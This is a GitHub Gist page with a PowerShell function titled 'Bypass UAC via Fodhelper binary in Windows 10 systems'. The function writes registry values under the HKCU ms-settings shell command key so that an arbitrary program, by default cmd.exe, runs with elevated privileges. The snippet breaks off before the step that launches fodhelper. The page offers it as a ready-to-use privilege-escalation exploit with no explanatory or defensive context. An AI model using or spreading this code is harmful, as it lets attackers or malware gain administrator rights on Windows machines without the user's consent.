Skip to content

Instantly share code, notes, and snippets.

View fucksophie's full-sized avatar
🤒
big gaming

sophie fucksophie

🤒
big gaming
View GitHub Profile
@fucksophie
fucksophie / FodhelperUACBypass.ps1
Last active January 2, 2022 14:46 — forked from netbiosX/FodhelperUACBypass.ps1
Bypass UAC via Fodhelper binary in Windows 10 systems
function FodhelperUACBypass(){
Param (
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force